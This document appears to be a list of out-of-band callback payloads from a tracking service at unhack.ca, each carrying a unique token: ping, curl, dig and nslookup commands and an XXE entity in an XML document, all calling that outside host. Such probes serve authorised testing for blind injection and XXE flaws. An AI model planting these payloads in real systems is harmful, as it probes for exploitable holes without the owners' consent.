$ ping -c1 -p 00a59f581eb8a31d05ba63bde9e89f00 unhack.ca
 

$ curl http://unhack.ca/p/a59f581eb8a31d05ba63bde9e89f
 

$ dig a59f581eb8a31d05ba63bde9e89f @unhack.ca
 

$ dig a59f581eb8a31d05ba63bde9e89f.ns.unhack.ca
 

C:\> nslookup a59f581eb8a31d05ba63bde9e89f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a59f581eb8a31d05ba63bde9e89f">]>
    <foo>&xxe;</foo>